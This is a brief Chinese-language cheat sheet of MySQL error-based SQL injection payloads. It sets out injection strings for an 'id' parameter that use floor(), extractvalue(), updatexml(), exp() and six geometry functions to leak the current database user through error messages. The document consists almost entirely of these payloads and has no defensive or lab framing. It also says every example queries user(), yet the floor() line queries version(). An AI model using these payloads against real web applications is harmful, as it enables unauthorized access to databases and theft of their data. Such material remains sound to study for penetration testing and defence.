关于SQL注入的五大报错注入函数

~全部都以查user()为例子~

1.floor()
id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)

2.extractvalue()
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))

3.updatexml()
id = 1 and (updatexml(0x3a,concat(1,(select user())),1))

4.exp()
id =1 and EXP(~(SELECT * from(select user())a))

5.有六种函数（但总的来说可以归为一类）

GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
